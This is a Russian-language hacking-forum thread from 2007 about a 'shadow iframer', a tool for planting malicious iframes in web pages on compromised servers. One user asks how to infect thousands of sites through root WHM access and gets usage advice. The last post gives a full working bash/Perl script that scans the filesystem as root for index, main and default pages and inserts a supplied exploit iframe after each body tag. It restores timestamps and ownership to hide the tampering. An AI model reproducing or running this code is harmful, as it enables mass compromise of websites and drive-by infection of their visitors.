ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Избранное
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.01.2007, 18:43
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
С нами: 10374086

Репутация: 1745


По умолчанию

Статья интересная, + это однозначно! ! ! но есть одно но. Все происходит под правами root их не каждый может имееть!
 
Ответить с цитированием

  #2  
Старый 09.01.2007, 03:40
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
С нами: 10997666

Репутация: 1320


По умолчанию

Цитата:
(а какие лоси пытались продать нечто подобное за 25$ )
я бы убрал эту фразу, так как сравнивать то, что продается за 25 баксов и это, это жопу с пальцем сравнивать. А если у тебя не хостинг, а Н фтп, ты на каждый заливать будешь и запускать? То, что делает скрипт можно и руками сделать. Хостинги ломаные бывают не так часто, как бывают просто фтп etc.
P.S. Не воспринимай как оскарбление. Все равно + за старание.
 
Ответить с цитированием

  #3  
Старый 09.01.2007, 12:38
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
С нами: 10244426

Репутация: 864
По умолчанию

Цитата:
Сообщение от podkashey  
я бы убрал эту фразу, так как сравнивать то, что продается за 25 баксов и это, это жопу с пальцем сравнивать. А если у тебя не хостинг, а Н фтп, ты на каждый заливать будешь и запускать? То, что делает скрипт можно и руками сделать. Хостинги ломаные бывают не так часто, как бывают просто фтп etc.
P.S. Не воспринимай как оскарбление. Все равно + за старание.
Как оскАрбление не воспринял
А "если у меня не хостинг, а Н фтп", то для этого пишется отдельный фтп ифреймер, ака remote.
А то что продается за 25 по сути имеет тот же функционал.
Всеравно любой ифреймер - максимум 200 строк кода с каментами и рюшечками. "То, что делает скрипт можно и руками сделать", пожалуйста, тебе никто не запрещает пару к файлов вимом руками править)
 
Ответить с цитированием

  #4  
Старый 10.01.2007, 19:33
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
С нами: 10244426

Репутация: 864
По умолчанию

Добавил версию для кастрированных аков
 
Ответить с цитированием

  #5  
Старый 10.01.2007, 21:55
don cicio
Новичок
Регистрация: 10.01.2007
Сообщений: 12
С нами: 10175628

Репутация: 2
По умолчанию

Уважаемые форумчане, боюсь показаться дебилом, но никогда не имел дело с подобными штуками.
Я установил active perl, сохранил файл как .pl, а когда запускаю, на секунду появляется консоль и сразу пропадает.
Не имею представления что нужно сделать, а скрипт ой как нужен. Помогите пожалуйста.
Спасибо.
 
Ответить с цитированием

  #6  
Старый 10.01.2007, 22:10
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
С нами: 10244426

Репутация: 864
По умолчанию

Цитата:
Сообщение от don cicio  
Уважаемые форумчане, боюсь показаться дебилом, но никогда не имел дело с подобными штуками.
Я установил active perl, сохранил файл как .pl, а когда запускаю, на секунду появляется консоль и сразу пропадает.
Не имею представления что нужно сделать, а скрипт ой как нужен. Помогите пожалуйста.
Спасибо.

Пуск - выполнить - cmd - perl <как_ты_назвал_файл.pl>

А зачем тебе на локальной машине ифреймер?)
 
Ответить с цитированием

  #7  
Старый 10.01.2007, 23:13
don cicio
Новичок
Регистрация: 10.01.2007
Сообщений: 12
С нами: 10175628

Репутация: 2
По умолчанию

Ну вот есть рутовый доступ к нескольким серверам через whm. Как же мне использовать скрипт что б разом прописать ифреймы на несколько тысяч сайтов?
 
Ответить с цитированием

  #8  
Старый 11.01.2007, 00:00
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
С нами: 10244426

Репутация: 864
По умолчанию

Цитата:
Сообщение от don cicio  
Ну вот есть рутовый доступ к нескольким серверам через whm. Как же мне использовать скрипт что б разом прописать ифреймы на несколько тысяч сайтов?
Заливай скрипт (как ты будешь это делать с цпанелем - хз), врубай его с указанием файлика с твоим кодом и все.
 
Ответить с цитированием

  #9  
Старый 11.01.2007, 03:36
don cicio
Новичок
Регистрация: 10.01.2007
Сообщений: 12
С нами: 10175628

Репутация: 2
По умолчанию

ага, а где ж мой код прописать?
 
Ответить с цитированием

Вот..:)
  #10  
Старый 18.01.2007, 13:20
sunb0rn
Новичок
Регистрация: 05.09.2006
Сообщений: 18
С нами: 10358301

Репутация: 42
Thumbs up Вот..:)

Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось:
[+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет
[+] не изменяется дата открытия/изменений файла
[+] не изменяется владелец модифицырованного файла
[+] пара мелкиx изменений по моему вкусу

Собственно сам код:
Код:
#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

check=`expr length "$1"`

if [ $check == 0 ]; then 
  echo "########################################"
  echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
  echo "#         Moded By Sunb0rn             #"
  echo "########################################"
  echo "#usage: ./sh-iframe.sh [iframe file]   #"
  echo "#       ./sh-iframe.sh exploit.html    #"
  echo "########################################"
  exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find / -name "index.htm*" 2> /dev/null > /tmp/found
find / -name "index.php"  2> /dev/null >> /tmp/found 
find / -name "index.asp"  2> /dev/null >> /tmp/found 
find / -name "main.htm*" 2> /dev/null >> /tmp/found 
find / -name "main.php"  2> /dev/null >> /tmp/found 
find / -name "main.asp" 2> /dev/null >> /tmp/found 
find / -name "default.htm*" 2> /dev/null >> /tmp/found
find / -name "default.php"  2> /dev/null >> /tmp/found
find / -name "default.asp"  2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)     or die "no $file: $!";
  $t_uid = $info->uid;
  $t_gid = $info->gid;
  $t_atime = $info->atime;
  $t_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>){
    print TMP $_;
    if (/<body/){
		if (/>/){print TMP $code;$overwrite = 1;}
	}
  }
  close (TMP);
  close (FILE);
  if ($overwrite == 1){
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
  utime $t_atime, $t_mtime, $file;
  system ("chown $t_uid:$t_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl
echo "[*] Finished"
exit 0
Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.